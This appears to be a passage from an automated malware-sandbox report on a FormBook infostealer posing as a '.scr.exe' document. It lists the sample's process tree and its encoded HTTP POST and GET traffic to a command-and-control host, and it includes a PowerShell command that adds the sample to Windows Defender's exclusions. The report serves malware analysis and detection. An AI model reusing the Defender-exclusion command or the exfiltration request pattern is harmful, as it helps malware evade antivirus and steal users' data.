3tV=CgPVVrSo/dWdBKCq3Tg9PkkWc12odQebdpRWkgPsMVUtlnMRG1xHpnrP22/9s+9zTjuBHcY1fLsOOR58yqi3fPHxF/VVRgPEo2yzM3qRST9nIdG+69eERD7pN1O8NhFb+064n49fPhS9BXkEz+EDwGhe/8PpSTr0FOO93GzwNzJBus2wS3FNA5qhFj+Mi64CIXanl3djbBZYmZHifKLLTqU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49789	3.33.130.190	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:08:40.824382067 CEST	10800	OUT	POST /tni7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.globyglen.info Origin: http://www.globyglen.info Referer: http://www.globyglen.info/tni7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 43 67 50 56 56 72 53 6f 2f 64 57 64 42 4b 43 71 33 54 67 39 50 6b 6b 57 63 31 32 6f 64 51 65 62 64 70 52 57 6b 67 50 73 4d 56 63 74 6c 56 45 52 4a 79 46 48 6f 6e 72 50 37 57 2f 77 73 2b 39 71 54 6a 47 46 48 63 46 41 66 49 55 4f 50 33 74 38 32 72 69 33 4b 66 48 78 48 2f 56 59 50 51 4f 45 6f 32 6a 30 4d 30 43 52 53 54 39 6e 49 62 43 2b 71 66 6d 45 54 44 37 71 64 6c 4f 77 4a 68 45 30 2b 30 79 4f 6e 34 78 6c 50 52 79 39 42 33 30 45 2f 6f 51 44 37 47 68 63 36 38 4f 71 53 54 6d 7a 46 4f 6a 4d 33 47 48 61 4e 77 56 42 76 61 72 71 42 46 64 46 55 50 7a 2b 5a 6b 4f 37 73 59 55 5a 4f 6e 43 43 6a 57 64 38 44 79 39 32 67 49 32 48 4e 4b 2f 71 47 64 4d 75 47 73 56 6e 6e 68 5a 51 63 76 55 6a 4f 4d 59 76 35 53 72 57 4c 68 39 34 66 67 6c 77 65 62 4c 6b 70 58 76 69 61 62 4d 41 72 31 64 2b 61 71 59 48 66 59 78 2f 57 56 37 6e 43 56 30 6f 77 41 44 58 4f 43 74 59 57 66 70 77 48 45 59 7a 4b 48 75 53 5a 46 76 72 61 51 64 64 44 4e 70 79 68 46 45 74 7a 61 61 56 49 36 55 76 66 38 31 31 62 61 51 51 49 61 38 5a 37 31 [TRUNCATED] Data Ascii: 3tV=CgPVVrSo/dWdBKCq3Tg9PkkWc12odQebdpRWkgPsMVctlVERJyFHonrP7W/ws+9qTjGFHcFAfIUOP3t82ri3KfHxH/VYPQOEo2j0M0CRST9nIbC+qfmETD7qdlOwJhE0+0yOn4xlPRy9B30E/oQD7Ghc68OqSTmzFOjM3GHaNwVBvarqBFdFUPz+ZkO7sYUZOnCCjWd8Dy92gI2HNK/qGdMuGsVnnhZQcvUjOMYv5SrWLh94fglwebLkpXviabMAr1d+aqYHfYx/WV7nCV0owADXOCtYWfpwHEYzKHuSZFvraQddDNpyhFEtzaaVI6Uvf811baQQIa8Z71l0fYeLwf8FI5MG4GG5k75D/t37MFTnTprbzi+cwihpptGWu79frPzvVnY9BYZdqectF5tRBSCBW1QPU2zQ34QPpT02OvZozEEGX6jvJ4Z6W7jgx5aDrnW4uz3HuRPqOc9vwWROZT+uux94rbAr9DKStF7agsBOg064DtxlBaiVFNpXWeKH7k9utTM51kSZegb0qzUvUnQfFJGwz4iVhaYgF9xugqsbkRifOc90FKcJ1gDPekYALylIrEI17ggC+hkmx31S0/BIceal0phEdawCTCuCFpElKNmQ2CDRECAXeeGCJu+AN0GIPFZqlRozqzwWI5eUV2c9GMmFDNmRofq8KyXU+6A4fZfYETJizzfbXT4gMuXVQlIPNtvg9nBud5viymq5rq4COPmTahXRX0A9i4fGX/9aeLYQLk73G3I/8o7EE4ajie2srFyuF2XcwfxjdkMYp83v4tI/fLMzoC3AH3n90wqkf6OQz4WsVTC58DNeMMQrx9EKSV+AwPyW74CxIST7etlUbUsnHmBGrMS8jZq4ZxzbbLMoxEgsopzs104bLlgwEc8TbqtiJbly98KGzrJ14/+A380yJ1EvKDteo6a+cDP+Jwu1WUk+fMErRBwMkjnVKCGZJqK5XKL7gazh0HElMrAUr4FV/VP/dDznOkxH0BRi6HTE [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49790	3.33.130.190	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:08:43.369678020 CEST	433	OUT	GET /tni7/?IhkTb=xPfHG0o8kZI8&3tV=Pin1WdfA+NS6cNSxoiNhG1YTVXa1Eh3sPPVbkgnhBmMZ4UpRd1NHllH88EmBo/tJBgeDNt41XaNDTXpF9fqEP/qeQ/p/TwjIkU/ZAha4TiA1Pr+q7OP4Tjw= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close Host: www.globyglen.info User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko

Target ID:	0
Start time:	09:04:58
Start date:	12/09/2024
Path:	C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe"
Imagebase:	0xf00000
File size:	730'112 bytes
MD5 hash:	6E3E35E593690A43C0FABE9EC9367B67
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	09:05:00
Start date:	12/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe"
Imagebase:	0xdf0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	09:05:00
Start date:	12/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	09:05:00
Start date:	12/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
Imagebase:	0x9e0000
File size:	2'625'616 bytes
MD5 hash:	0A7608DB01CAE07792CEA95E792AA866
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1846379339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1846379339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1846811096.0000000004D90000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1846811096.0000000004D90000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1848370775.0000000006CF0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1848370775.0000000006CF0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	09:05:08
Start date:	12/09/2024
Path:	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe"
Imagebase:	0xbd0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4133228412.0000000003870000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.4133228412.0000000003870000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	09:05:10
Start date:	12/09/2024
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\control.exe"
Imagebase:	0xdb0000
File size:	149'504 bytes
MD5 hash:	EBC29AA32C57A54018089CFC9CACAFE8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4133191097.0000000004910000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4133191097.0000000004910000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4132211926.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4132211926.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4133252340.0000000004960000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4133252340.0000000004960000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	10
Start time:	09:05:23
Start date:	12/09/2024
Path:	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe"
Imagebase:	0xbd0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	11
Start time:	09:05:35
Start date:	12/09/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true